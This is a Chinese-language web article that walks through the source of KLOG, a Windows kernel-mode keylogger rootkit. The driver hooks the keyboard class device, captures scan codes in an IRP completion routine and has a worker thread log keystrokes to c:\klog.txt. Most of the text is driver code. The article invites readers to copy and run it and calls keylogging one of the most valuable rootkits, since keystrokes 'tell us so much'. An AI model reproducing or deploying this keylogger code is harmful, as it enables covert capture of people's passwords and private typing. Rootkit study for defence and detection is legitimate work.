| | 首页 | 文章中心 | 下载中心 | 本站特供 | 软硬件结合论坛 | 软硬件结合博客 | | |
![]() | |
| 您现在的位置: 中国软硬件结合技术网 >> 文章中心 >> 软硬件结合 >> 串口通讯相关 >> 正文 |
|
|||||
| 键盘监视例子 | |||||
| 作者:佚名 文章来源: 点击数: 更新时间:2007-2-2 | |||||
|
The KLOG Rootkit:A Walk-through 注:由于本书风格是边解释,边写代码,都混一起了,你可以直接忽略文字,把代码拷贝下来试验一下。我们的叫做KLOG的键盘监视例子,是Clandestiny所写的并在在www.rootkit.com上发表了。下面我们来浏览分析一下她的代码。 ps:一个比较流行的键盘分层过滤驱动可以在www.sysinternals.com上找到。名字为ctrl2cap。KLOG就是在它的基础上完成的。 ROOTKIT.COM 你得明白KLOG这个例子是针对US的键盘布局的。因为每个击键都被作为扫描码发送,而不是你所按的键的实际字母,所以把扫描码转化为字母的步骤是必要的。这种映射依赖键盘的布局。 首先,DriverEntry被调用: NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath ) { NTSTATUS Status = {0}; 然后,一个函数被设置来专门用于为键盘读取请求。KLOG的函数DispatchRead: // Explicitly fill in the IRP handlers we want to hook. pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; 驱动对象现在已经设置好了,你还得把它连到键盘设备链中。这个功能由函数HookKeyboard来完成: // Hook the keyboard now. HookKeyboard(pDriverObject); 看清楚HookKeyboard这个函数,如下: NTSTATUS { // the filter device object PDEVICE_OBJECT pKeyboardDeviceObject; IoCreateDevice被用来创建设备对象。注意这个设备是没有名字的,还有,它是FILE_DEVICE_KEYBOARD类别的。还有,用到了DEVICE_EXTENSION结构的大小,它是个用户自定义的结构。 // Create a keyboard device object. NTSTATUS status = IoCreateDevice(pDriverObject, sizeof(DEVICE_EXTENSION), NULL,// no name FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject); // Make sure the device was created. if(!NT_SUCCESS(status)) return status; 为了与那些下面的键盘设备区分开来,跟新设备有关联的标志应该设置成唯一的。你可以通过DeviceTree之类的工具来来获得这方面的信息。在写键盘过滤驱动时,下面这些标志也许会用到: pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE); pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING; 记得当设备对象被创建的时候,用到了DEVICE_EXTENSION结构的大小。这是任意一块能用来存储数据的不被分页的内存(也就是不用从页面文件读取的)。这块数据与该设备对象有练习。KLOG定义的DEVICE_EXTENSION结构如下: typedef struct _DEVICE_EXTENSION { PDEVICE_OBJECT pKeyboardDevice; PETHREAD pThreadObj; bool bThreadTerminate; HANDLE hLogFile; KEY_STATE kState; KSEMAPHORE semQueue; KSPIN_LOCK lockQueue; LIST_ENTRY QueueListHead; }DEVICE_EXTENSION, *PDEVICE_EXTENSION; HookKeyboard函数对该结构清零并创建一个指针来初始化某些成员: RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION)); // Get the pointer to the device extension. PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension; 插入层中的该键盘设备名字叫KeyboardClass0。其被转化为UNICODE字符串,并且过滤钩子通过调用IoAttachDevice()来实现。指向设备链中的下一个设备的指针存在pKeyboardDeviceExtension->pKeyboardDevice中。该指针被用来把IRPS传递给设备链中的下一个设备。
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0"; STRING ntNameString; UNICODE_STRING uKeyboardDeviceName; RtlInitAnsiString(&ntNameString, ntNameBuffer); RtlAnsiStringToUnicodeString(&uKeyboardDeviceName, &ntNameString, TRUE ); IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName, &pKeyboardDeviceExtension->pKeyboardDevice); RtlFreeUnicodeString(&uKeyboardDeviceName); return STATUS_SUCCESS; }// end HookKeyboard 假定HookKeyboard一切都好,我们看看KLOG在DriverMain中继续处理其他的东东。下一步就是创建一个工作者线程(也就是后台线程,无用户界面的)用来把击键纪录到log文件中。工作者线程是必要的,因为文件操作在IRP处理函数中是不可能的。当扫描码已经进入IRPs,系统运行在DISPATCH IRQ level上,这时是不允许进行文件操作的。在把击键传送到一个共享缓存时,工作者线程能够访问它们并且把它们写到文件中去。工作者线程运行在一个不同的IRQ level----PASSIVE上,这个level文件操作是允许的。工作者线程的设置在InitThreadKeyLogger函数中实现: InitThreadKeyLogger(pDriverObject); InitThreadKeyLogger函数的实现如下: NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject) { 一个设备扩展的指针被用来初始化更多的成员。KLOG存储线程的状态在bThreadTerminate中。线程运行时其应该设置为false。 PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject- >DeviceObject->DeviceExtension; // Set the worker thread to running state in device extension. pKeyboardDeviceExtension->bThreadTerminate = false; 工作者线程通过调用PsCreateSystemThread来创建。可以看到,线程函数名称为ThreadKeyLogger并且设备扩展作为一个参数传递给线程函数。 // Create the worker thread. HANDLE hThread; NTSTATUS status = PsCreateSystemThread(&hThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, ThreadKeyLogger, pKeyboardDeviceExtension); if(!NT_SUCCESS(status)) return status; 线程对象的指针存储在设备扩展中: // Obtain a pointer to the thread object. ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pKeyboardDeviceExtension->pThreadObj, NULL); // We don't need the thread handle. ZwClose(hThread); return status; } 回到DriverEntry,线程已经准备好了。一个共享链接链表被初始化并且存储在设备扩展中。该链表将包含捕获到的击键。 PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension; InitializeListHead(&pKeyboardDeviceExtension->QueueListHead); 一个spinlock被初始化来同步对链接链表的访问。这使得链接链表的线程安全可靠,这是非常重要的。如果KLOG没有使用spinlock,当两个线程试图同时访问该链接链表时,可能会导致蓝屏错误。semaphore(信号量)知道在工作队列中项目的数量。 // Initialize the lock for the linked list queue. KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue); // Initialize the work queue semaphore. KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG); 下面的代码打开一个文件,c:\klog.txt,用于记录击键。 // Create the log file. IO_STATUS_BLOCK file_status; OBJECT_ATTRIBUTES obj_attrib; CCHAR ntNameFile[64] = "\\DosDevices\\c:\\klog.txt"; STRING ntNameString; UNICODE_STRING uFileName; RtlInitAnsiString(&ntNameString, ntNameFile); RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE); InitializeObjectAttributes(&obj_attrib, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile, GENERIC_WRITE, &obj_attrib, &file_status, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); RtlFreeUnicodeString(&uFileName); if (Status != STATUS_SUCCESS) { DbgPrint("Failed to create log file...\n"); DbgPrint("File Status = %x\n",file_status); } else { DbgPrint("Successfully created log file...\n"); DbgPrint("File Handle = %x\n", pKeyboardDeviceExtension->hLogFile); }
pDriverObject->DriverUnload = Unload; DbgPrint("Set DriverUnload function pointer...\n"); DbgPrint("Exiting Driver Entry......\n"); return STATUS_SUCCESS; } 此时,KLOG驱动挂钩到了设备链中并且开始获取击键IRPs。被调用来读取request的函数为DispatchRead。看一下这个函数: NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp) { 当一个读请求被提交给键盘控制器时,该函数被调用。此时,IRP中没有任何数据能为我们所用。我们只是在击键被捕获之后才想看到IRP--当IRP在它回到设备链的路上时。 唯一的获知IRP已经完成的方法就是设置一个"完成函数"(a completion routine)。如果我们不设置"完成函数",IRP回到设备链的时候我们的东东就被忽略了。 当我们传递IRP到下一个在设备链中最底层的设时备时,我们需要设置IRP堆栈指针。堆栈在这里是容易让人误解的。每一个设备都简单地拥有一个私有的内存区可以与每一个IRP使用。这些私有的区域被以一定的次序安排。你可以用IoGetCurrentIrpStackLocation 和 IoGetNextIrpStackLocation来获得这些私有区域的指针。一个"目前"指针必须正指向下一个最底层驱动的私有区域在IRP被传递之前。所以,在调用IoCallDriver之前,调用IoCopyCurrentIrpStackLocationToNext: // Copy parameters down to next level in the stack // for the driver below us. IoCopyCurrentIrpStackLocationToNext(pIrp); Note that the completion routine is named "OnReadCompletion": // Set the completion callback. IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE); 未决的IRPs的数量被记录以使KLOG不会被卸载除非处理完毕。 // Track the # of pending IRPs. numPendingIrps++; 最后,IoCallDriver被用于传递IRP到在设备链中的下一个最底层的设备。记得指向下一个最底层设备的指针存储在设备扩展结构中的pKeyboardDevice中。 // Pass the IRP on down to \the driver underneath us. return IoCallDriver( ((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice, pIrp); }// end DispatchRead 现在我们可以看到每一个READ IRP,一旦被处理完毕,我们就可以调用OnReadComletion函数。让我们看一下关于此的一些细节: NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context) { // Get the device extension - we'll need to use it later. PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject 该IRP的状态被检查。将其看作返回值,或者错误值。如果该值被设置为STATUS_SUCCESS,那就意味着IRP已经成功完成,并且它应该有一些击键数据。SystemBuffer成员指向KEYBOARD_INPUT_DATA结构数组。IoStatus.Information成员包含有该数组的长度。 // If the request has completed, extract the value of the key. if(pIrp->IoStatus.Status == STATUS_SUCCESS) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA) pIrp->AssociatedIrp.SystemBuffer; int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
typedef struct _KEYBOARD_INPUT_DATA { USHORT UnitId; USHORT MakeCode; USHORT Flags; USHORT Reserved; ULONG ExtraInformation; } KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA; KLOG现在通过所有的数组成员进行循环,从其中获得每一个击键: for(int i = 0; i < numKeys; i++) { DbgPrint("ScanCode: %x\n", keys[i].MakeCode); 注意,我们接收两个事件:按键,松开键。对于一个简单的键盘监视来说,我们仅仅需要关注其中的一个。在这里,KEY_MAKE是一个重要的标记。
if(keys[i].Flags == KEY_MAKE) DbgPrint("%s\n","Key Down"); 记得该"完成函数"在DISPATCH_LEVEL IRQL被调用,这意味着文件操作是不允许的。为了绕过这个限制,KLOG通过一个共享链接链表把击键传递给工作者线程。临界区必须用来同步该共享链接链表的访问。内核强行实施一条规则:在某一时刻只有一个线程能够访问某个临界区。(Technical note:A deferred procedure call [DPC] cannot be used here, since a DPC runs at DISPATCH_LEVEL also.) KLOG分配了一些NonPagedPool的内存并把扫描码放到这些内存中。然后又从这些内存中放到链接链表中。Again,由于我们运行在DISPATCH level,内存仅能从NonPagedPool中分配。
KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA)); // Fill in kData structure with info from IRP. kData->KeyData = (char)keys[i].MakeCode; kData->KeyFlags = (char)keys[i].Flags; // Add the scan code to the linked list // queue so our worker thread // can write it out to a file. DbgPrint("Adding IRP to work queue..."); ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead, &kData->ListEntry, &pKeyboardDeviceExtension->lockQueue); The semaphore is incremented to indicate that some data needs to be processed: // Increment the semaphore by 1 - no WaitForXXX after this call. KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue, 0, 1, FALSE); }// end for }// end if // Mark the IRP pending if necessary. if(pIrp->PendingReturned) IoMarkIrpPending(pIrp);
return pIrp->IoStatus.Status; }// end OnReadCompletion
{ PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext; PDEVICE_OBJECT pKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice; PLIST_ENTRY pListEntry; KEY_DATA* kData; // custom data structure used to // hold scancodes in the linked list 现在KLOG进入了一个循环。该代码等待使用KeWaitForSingleObject的信号量(semaphore)的到来。如果信号量增加,循环就继续。 while(true) { // Wait for data to become available in the queue. KeWaitForSingleObject( &pKeyboardDeviceExtension->semQueue, Executive, KernelMode, FALSE, NULL); 顶端节点从链接链表中安全移除。注意临界区的使用。
pListEntry = ExInterlockedRemoveHeadList( &pKeyboardDeviceExtension->QueueListHead, &pKeyboardDeviceExtension->lockQueue); 内核线程不能够为外部所终止,要终止它只能靠它自己。这里KLOG检查一个标志位来决定它是否应该终止工作者线程。在KLOG卸载时才会这么做。 if(pKeyboardDeviceExtension->bThreadTerminate == true) { PsTerminateSystemThread(STATUS_SUCCESS); } CONTAINING_RECORD宏必须用来获得指向在pListEntry结构中的数据的指针。 kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry); 这里KLOG获得扫描码并将其转化为字符码。这通过一个有用的函数ConvertScanCodeToKeyCode来实现。该函数仅仅适用于US English键盘布局,当然,改一下就可用在其他的键盘布局了。 // Convert the scan code to a key code. char keys[3] = {0}; ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys); // Make sure the key has returned a valid code // before writing it to the file. if(keys != 0) { 如果文件句柄是有效的,使用ZwWriteFile来讲字符码写到纪录文件中。 // Write the data out to a file. if(pKeyboardDeviceExtension->hLogFile != NULL) { IO_STATUS_BLOCK io_status; NTSTATUS status = ZwWriteFile( pKeyboardDeviceExtension->hLogFile, NULL, NULL, NULL, &io_status, &keys, strlen(keys), NULL, NULL); if(status != STATUS_SUCCESS) DbgPrint("Writing scan code to file...\n"); else DbgPrint("Scan code '%s' successfully written to file.\n",keys); }// end if }// end if }// end while return; }// end ThreadLogKeyboard KLOG的基本功能已经完成了。看一下Unload函数。 VOID Unload( IN PDRIVER_OBJECT pDriverObject) { // Get the pointer to the device extension. PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension; DbgPrint("Driver Unload Called...\n"); 驱动必须unhook该设备通过IoDetachDevice: // Detach from the device underneath that we're hooked to. IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice); DbgPrint("Keyboard hook detached from device...\n"); 这里用了一个timer,KLOG进入一个简短的循环直到所有的IRPs都被处理完。 // Create a timer. KTIMER kTimer; LARGE_INTEGER timeout; timeout.QuadPart = 1000000;// .1 s KeInitializeTimer(&kTimer); 如果一个IRP正在等待一个击键,upload就不会完成指导这个键被按下了:
while(numPendingIrps > 0) { // Set the timer. KeSetTimer(&kTimer,timeout,NULL); KeWaitForSingleObject( &kTimer, Executive, KernelMode, false, NULL); } 现在KLOG说明工作者线程应该结束了: // Set our key logger worker thread to terminate. pKeyboardDeviceExtension->bThreadTerminate = true; // Wake up the thread if its blocked & WaitForXXX after this call. KeReleaseSemaphore( &pKeyboardDeviceExtension->semQueue, 0, 1, TRUE); KLOG通过线程指针调用KeWaitForSingleObject,等待直到工作者线程被终止: // Wait until the worker thread terminates. DbgPrint("Waiting for key logger thread to terminate...\n"); KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj, Executive, KernelMode, false,NULL); DbgPrint("Key logger thread terminated\n"); 最后,关闭记录文件。 // Close the log file. ZwClose(pKeyboardDeviceExtension->hLogFile); 还有,一些清理工作应该做一下: // Delete the device. IoDeleteDevice(pDriverObject->DeviceObject); DbgPrint("Tagged IRPs dead...Terminating...\n"); return; } 这样,键盘监控就完成了。这无疑是很重要的一份代码--一个了不起的通向其他分层的ROOTKITS的起点。毫无疑问,就单单键盘监控就已经是我们所应掌握的最有价值的ROOTKITS之一了。击键告诉我们太多了,这还用说吗?
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=622112 |
|||||
| 文章录入:xuyongqi 责任编辑:Polylove | |||||
| 【发表评论】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 没有相关文章 |
| |
| | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | | |
![]() |
Copyright ©2004 - 2006 中国软硬件结合技术网 91tech.net 91tech.cn 91tech.com 站长:Polylove |